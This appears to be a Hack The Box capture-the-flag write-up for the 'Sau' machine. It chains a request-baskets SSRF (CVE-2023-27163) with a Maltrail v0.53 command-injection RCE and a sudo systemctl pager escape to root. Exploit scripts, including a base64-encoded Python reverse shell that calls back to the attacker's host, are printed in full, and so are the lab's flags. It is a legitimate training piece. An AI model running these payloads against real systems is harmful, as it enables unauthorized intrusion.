Sau writeup banner

Sau

Hack The Box Machine Writeup

S is for Simple.

S is for Simple.

Summary

Sau is an easy box that after a tricky bit of enumeration is compromised very quickly. First the attacker must locate the webservice running on the host and its associated exploit. Then the attacker must use this to create a 'proxy tunnel' using an SSRF exploit to access the filtered web application on port 80. This Mailtrail web application has a unauthenticated RCE vulnerability that leads to a foothold on the target

Privilege escalation was also dead easy for Sau. Enumerating the users sudo permissions reveals that all users can run systemctl as root. Searching on GTFObins then reveals that this will not drop root permissions and we can simply drop into a root shell.

Sometimes you can never tell

Sometimes you can never tell

User

Recon

Nmap Port Scan

Start off as always with a trusty Nmap scan, using sudo runs the sS (stealth scan) by default instead of an sT (connect) scan. This effects how much of the 3 way handshake is completed when port scanning.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap 10.10.11.224                         
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 15:01 EDT
Nmap scan report for 10.10.11.224
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds

Enumerating Webserver on Custom Port

This comes back with 80 being filtered, which is strange and an unidentified service on 55555. First thing to do is attempt to identify the service using Netcat.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -v 10.10.11.224 55555 
10.10.11.224: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.11.224] 55555 (?) open
help
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request                                                                                                                         

The service is returning a 400 bad request error. This lead me to believe that it was an http service, as such I checked it out in my browser.

request-baskets web application running on port 55555

request-baskets web application running on port 55555

Locating Request-baskets exploit

We can see that the website is running something called request-baskets at the very bottom of the page in the Powered by statement. Some googling reveals that it is an[ open source project](https://github.com/darklynx/request-baskets) and that it is vulnerable to a [Server Side Request Forgery attack](https://vulners.com/github/GHSA-58G2-VGPG-335Q). Searching a bit more on Google I came across a[ good POC](https://github.com/entr0pie/CVE-2023-27163) script that makes the process of exploiting the SSRF much quicker.

sh
#!/bin/bash

echo -e "Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163\n";

if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
    help="Usage: CVE-2023-27163.sh <URL> <TARGET>\n\n";
    help+="This PoC will create a vulnerable basket on a Request-Baskets (<= 1.2.1) server,\n";
    help+="which will act as a proxy to other services and servers.\n\n";
    help+="Arguments:\n" 
    help+=" URL            main path (/) of the server (eg. http://127.0.0.1:5000/)\n";
    help+=" TARGET         r-baskets target server (eg. https://b5f5-138-204-24-206.ngrok-free.app/)\n\n";
    help+="More info at https://github.com/entr0pie/CVE-2023-27163.";

    echo -e "$help";
    exit 1;
fi

URL=$1
ATTACKER_SERVER=$2

if [ "${URL: -1}" != "/" ]; then
    URL="$URL/";
fi;

BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");

API_URL="$URL""api/baskets/$BASKET_NAME";

PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";

echo "> Creating the \"$BASKET_NAME\" proxy basket...";

if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then
    echo "> FATAL: Could not properly request $API_URL. Is the server online?";
    exit 1;
fi;

BASKET_URL="$URL$BASKET_NAME";

echo "> Basket created!";
echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";

if ! jq --help 1>/dev/null; then
    echo "> Response body (Authorization): $response";
else
    echo "> Authorization: $(echo "$response" | jq -r ".token")";
fi;

exit 0;

Dissecting the script we can see the most important part is payload. Here the forward_url and proxy_reponse parameter are being exploited to direct the request to an attacking server. This payload is being added onto a post request to a created basket with a random name.

<pre class="language-sh" data-overflow="wrap" data-full-width="true"><code class="lang-sh">BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' &#x3C;/dev/urandom | head -c "6"); API_URL="$URL""api/baskets/$BASKET_NAME"; <strong>PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}" </strong>curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); </code></pre>

Using this script I tested to confirm that the web application was indeed vulnerable. I created a simple python http server to catch the incoming request if the SSRF executed correctly. I also used chmod +x here to give the script execute permissions.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod +x script.sh  
┌──(kali㉿kali)-[~/Desktop]
└─$ ./script.sh http://10.10.11.224:55555 http://10.10.14.79/test
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "xbbxky" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/xbbxky now makes the server request to http://10.10.14.79/test.
> Authorization: kiJ93PtfxP15qQQgCpYO-nHbGueMzqu-RPcDDNJBdb8H

┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://10.10.11.224:55555/xbbxky
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>

┌──(kali㉿kali)-[~/Desktop]
└─$ python -m http.server 80                                                          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.224 - - [06/Sep/2023 15:17:28] code 404, message File not found
10.10.11.224 - - [06/Sep/2023 15:17:28] "GET /test HTTP/1.1" 404 -
I love it when a plan comes together

I love it when a plan comes together

Using SSRF To Access Filtered Port

Blamo! The SSRF is working as intended. Next I use the script to create another exploit, this time pointing to the filtered webserver on the Sau machine port 80.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ ./script.sh http://10.10.11.224:55555 http://127.0.0.1:80/   
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "astict" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/astict now makes the server request to http://127.0.0.1:80/.
> Authorization: s3C7PuNeK4Go5TFA-MaL1HPCuOMPEmW5adq0ZIP4rgne

Visiting the newly generated bucket link executes the SSRF which creates a "tunnel" connecting to the web service on port 80.

Mailtrail index.html page as seen with SSRF attack ‘tunnel’

Mailtrail index.html page as seen with SSRF attack ‘tunnel’

We have established our own secret tunnel

We have established our own secret tunnel

Exploting Mailtrail

Since the SSRF is only loading the HTML index page we do not get images and the CSS formatting is broken. However we can see that the application is Mailtrail v0.53. Some quick googling for exploits reveals that this version has an unauthenticated RCE (remote code execution) vulnerability. There is an excellent POC python script for this by [Spookier](https://github.com/spookier/Maltrail-v0.53-Exploit).

<pre class="language-python" data-overflow="wrap" data-full-width="false"><code class="lang-python"><strong>''' </strong> ██████ ██▓███ ▒█████ ▒█████ ██ ▄█▀ ██▓▓█████ ██▀███ ▒██ ▒ ▓██░ ██▒▒██▒ ██▒▒██▒ ██▒ ██▄█▒ ▓██▒▓█ ▀ ▓██ ▒ ██▒ ░ ▓██▄ ▓██░ ██▓▒▒██░ ██▒▒██░ ██▒▓███▄░ ▒██▒▒███ ▓██ ░▄█ ▒ ▒ ██▒▒██▄█▓▒ ▒▒██ ██░▒██ ██░▓██ █▄ ░██░▒▓█ ▄ ▒██▀▀█▄ ▒██████▒▒▒██▒ ░ ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒ ▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓ ░░ ▒░ ░░ ▒▓ ░▒▓░ ░ ░▒ ░ ░░▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ '''

import sys; import os; import base64;

def main(): listening_IP = None listening_PORT = None target_URL = None

if len(sys.argv) != 4: print("Error. Needs listening IP, PORT and target URL.") return(-1)

listening_IP = sys.argv[1] listening_PORT = sys.argv[2] target_URL = sys.argv[3] print("Running exploit on " + str(target_URL)) curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url): payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'' encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64 command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'" os.system(command)

if __name__ == "__main__": main() </code></pre>

The important parts of this exploit are the payload which is a python3 reverse shell spawning /bin/bash and the curl command. From this command we can see that the username field is being abused through a command injection facilitated by the ; character.

python
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''

command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"

The only thing left to do is start an NC listener and run the exploit pointing at the bucket that has our SSRF and links to the Mailtrail application. Since we know that a post request with the username field is being exploited it is fair to assume that the exploit should also be directed to /login.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ python script.py 10.10.14.79 42069 http://10.10.11.224:55555/astict/login
Running exploit on http://10.10.11.224:55555/astict/login

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069          
listening on [any] 42069 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.11.224] 36670
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

From here I upgraded the shell using the script exploit and grabbed user.txt

sh
$ script /dev/null -c bash 
<control + Z to background the process> 
┌┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg     
[1]  + continued  nc -lvnp 42069
                                reset
reset: unknown terminal type unknown
Terminal type? screen
puma@sau:~$ cat user.txt 
a0da28c2f********e59dfd7c82c7
Spoopy exploit

Spoopy exploit

Root

Enumeration

The first thing I like to check when landing on a box is the sudo permissions of the user as it can lead to quick and easy wins such as the case here.

sh
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Systemctl Sudo Exploit

Seeing that all users may run /usr/bin/systemctl as sudo I set out to [GTFObins ](https://gtfobins.github.io/gtfobins/systemctl/)to see what ways I could abuse this.

Searching on GTFObins for binary's with sudo rights is always a good first step!

Searching on GTFObins for binary's with sudo rights is always a good first step!

This shows that the process spawned by the systemctl command does not drop root permissions. It also gives a couple ways to exploit this fact. Running the command pops us into the text viewer, so we can simply use the third technique shown (the !sh command) and spawn a shell. This shell will have root permissions since the systemctl process was run as root. With this shell all that is left to do is grab root.txt!

sh
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)
trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
 <...>
             ├─2000 sudo /usr/bin/systemctl status trail.service
lines 1-23!sh

# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
8a9974297616aa8609f73197c320011d
Another box down, loads more to go!

Another box down, loads more to go!

Other Resources

0xdf writeup

0xdf.gitlab.io

Ippsec video walkthrough